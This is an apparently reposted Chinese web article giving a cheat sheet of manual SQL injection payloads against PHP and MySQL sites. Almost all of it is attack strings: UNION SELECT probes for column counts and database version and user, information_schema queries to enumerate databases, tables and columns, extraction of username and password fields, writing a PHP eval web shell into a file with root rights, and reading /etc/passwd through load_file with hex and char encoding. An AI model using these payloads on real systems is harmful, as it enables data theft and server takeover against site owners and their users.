PHP+MySQL 手工注入語(yǔ)句大全推薦

2020-03-24 16:07:46

字體：大中小

供稿：網(wǎng)友

我PHP手工太菜了，無(wú)奈只能補(bǔ)下PHPMYSQL手工注射，把收集總結(jié)的資料分享下。FTP　　暴字段長(zhǎng)度　　Orderbynum/*　　匹配字段　　and1=1unionselect1,2,3,4,5…….n/*　　暴字段位置　　and1=2unionselect1,2,3,4,5…..n/*　　利用內(nèi)置函數(shù)暴數(shù)據(jù)庫(kù)信息　　version()database()user()　　不用猜解可用字段暴數(shù)據(jù)庫(kù)信息(有些網(wǎng)站不適用):　　and1=2unionallselectversion()/*　　and1=2unionallselectdatabase()/*　　and1=2unionallselectuser()/*　　操作系統(tǒng)信息：　　and1=2unionallselect@@global.version_compile_osfrommysql.user/*　　數(shù)據(jù)庫(kù)權(quán)限：　　andord(mid(user(),1,1))=114/*返回正常說(shuō)明為root　　暴庫(kù)(mysql>5.0)　　Mysql5以上有內(nèi)置庫(kù)information_schema，存儲(chǔ)著mysql的所有數(shù)據(jù)庫(kù)和表結(jié)構(gòu)信息　　and1=2unionselect1,2,3,SCHEMA_NAME,5,6,7,8,9,10frominformation_schema.SCHEMATAlimit0,1　　猜表　　and1=2unionselect1,2,3,TABLE_NAME,5,6,7,8,9,10frominformation_schema.TABLESwhereTABLE_SCHEMA=數(shù)據(jù)庫(kù)（十六進(jìn)制）limit0（開(kāi)始的記錄，0為第一個(gè)開(kāi)始記錄）,1（顯示1條記錄）—　　猜字段　　and1=2Unionselect1,2,3,COLUMN_NAME,5,6,7,8,9,10frominformation_schema.COLUMNSwhereTABLE_NAME=表名（十六進(jìn)制）limit0,1　　暴密碼　　and1=2Unionselect1,2,3,用戶名段,5,6,7,密碼段,8,9from表名limit0,1　　高級(jí)用法（一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容）：　　Unionselect1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9from表名limit0,1　　直接寫(xiě)馬(Root權(quán)限)　　條件：1、知道站點(diǎn)物理路徑　　2、有足夠大的權(quán)限（可以用select….frommysql.user測(cè)試）　　3、magic_quotes_gpc()=OFF　　select‘<?phpeval($_POST[cmd])?>'intooutfile‘物理路徑'　　and1=2unionallselect一句話HEX值intooutfile'路徑'　　load_file()常用路徑：　　1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)　　2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))　　上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如“<”替換成”空格”返回的是網(wǎng)頁(yè).而無(wú)法查看到代碼.

鄭重聲明：本文版權(quán)歸原作者所有，轉(zhuǎn)載文章僅為傳播更多信息之目的，如作者信息標(biāo)記有誤，請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除，多謝。

上一篇：phpmyadmin1045錯(cuò)誤

下一篇：phpamqp消息隊(duì)列RabbitMQ交換器類(lèi)型廣播fanout(四)